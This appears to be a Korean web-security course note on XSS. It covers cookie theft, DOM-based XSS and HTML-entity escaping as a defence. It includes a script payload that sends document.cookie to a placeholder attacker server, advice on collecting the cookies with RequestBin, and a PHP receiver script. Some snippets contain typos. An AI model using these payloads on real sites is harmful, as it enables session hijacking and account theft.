본문 바로가기

개념정리

10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법

10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법

 


 

XSS COOKIE

- SESSION SESSIONID COOKIE 세션아이디가 쿠키게 저장이되어서 다른계정인척 위조 하여 정보 탈취 할 수 있다.

- JAVASCRIPT 의 document.cookie사용 - 해당 도메인의 세션만 탈취 할 수 있음.

- XSS 종류는 상관없다.

EX)

<script>
	var cookieData = document.cookie; //웹 페이지의 쿠키를 가져와서 변수를 설정한다.
	var i = new Image(); //HTML에서 이미지태그를 생성하는 코드
	i.src ="공격자서버/?cookie="+ cookieData; //i라는 속성에 소스코드로 링크를 넣는다
</script>

 


쿠키탈취

 var cookieData = document.cookie;

 

-> var cookieData = document.cookie; //웹 페이지의 쿠키를 가져와서 변수를 설정한다.

 

-> DOCUMENT.COOKIE는 같은 도메인의 쿠키만 가져온다


쿠키 전달

var i = new Image();
i.src ="공격자서버/?cookie=" + cookieData;

-> var i = new Image(); //HTML에서 이미지태그를 생성하는 코드

->i.src ="공격자서버/?cookie="cookieData; //i라는 속성에 소스코드로 링크를 넣는다


HTML 태그 결과

<img src=" 공격자서버링크/?cookie=스크립트실행된 쿠키값">

 

-> <img src=" 공격자서버링크/?cookie=스크립트실행된 쿠키값"> //HTML에서 이런 이미지 태그가 만들어져서 파라미터에 쿠키값을 포함해서 공격자의 링크에 접속되어 쿠키 값을 가져온다.

-> 해당 링크에 접속해서 자료를 요청함을 이용

 

 


쿠키 확인

- 쿠키를 받을 공격자의 서버가 필요하다

- VPS라는 가상사설서버를 이용하는데

- https://public.requestbin.com/r/ 일단 우리는 여기서

 

RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks

 

public.requestbin.com

-> 사이트 접속해서 뜨는 링크의 카피를 눌러서 i.src 의 링크값에 붙여 넣어준다.

-> 그럼 해당 사이트에서 쿠키값을 볼 수 있다.

 

+

공격자의 웹서버에 방문해서 탈취할때는 같은 도메인이니까 php를 개발해서 바로 쿠키를 받을 수 있다.

getCred.php

<? php
$cookie = $_GET['cookie'] //GET방식으로 cookie라는 파라미터에 들어오는 데이터
echo $cookie //화면에 찍는다 
?>

 

 

XSS HTML 삽입

- 클라이언트 스크립트가 HTML인것을 이용

- HTML을 넣어서 게시글이 있는 척 페이지를 만들 수 있다

- COOKIE 탈취 ->로그인되어있는 상황

- KEY LOGGER 삽입 -> 로그인이 되어있지 않는 상황 아이디 비번 탈취


 

xss1번문제 쿠키 탈취하기


DOM BASED XSS

- 피해자의 브라우저에서 조립되어 실행되는 스크립트

- 서버반사X 서버저장X

- HTML을 기반으로 한다

- JAVASCRIPT를 이용해서 태그를 만들때 사용한다

- JAVASCRIPT를 잘 분석 하는 것이 제일 중요하다.

- REFLECT XSS처럼 입력값이 바로 출력되지만 JAVASCRIPT에서는 입력값이 반사되지 않을 때

- 브라우저에서 바로 값을 전달해 준 것 일 때

- URL뒤에 #이 붙을때 그 이후에 값은 서버에 전달되지 않는다

- #뒤는 프래그런트 처리가 되어 URL엔 전달되지만 서버에는 전달 되지 않는다

 

EX)

<script>
function trackSearch(query){
	document.write(
	'<img src="/resources/image/tracker.gif?searchTerms='+query_'">'); //가져온 파라미터로 바로 태그만듬
}
var query = (new URLSearchParams(window.location.search)).get('search'); //쿼리가 경로에 있느 서치라는 파라미터가져옴
if(query){
trackSearch(query)
</script>

 

-> 입력값 부분을 찾아서 URL 데이터를 가져와서 바로 출력되게 만든것이다.

 

 

DOM BASED XSS 찾는방법

- 자주사용되는 자바스크립트 언어를 확인한다

- document.write = "" 부분에 바로 태그를 작성하면서 스크립트혹은 태그를 삽입

- innerHTML 로 태그를 직접 만들수도있다.


XSS 대응방안

- HTML ENTITY

- 특수문자값이 HTML ENTITY표현으로 치환되어서 입력되고 화면에는 특수문자 그대로 출력된다.

 

- 치환이 되는 것이지 필터링 되는 것은 아니다.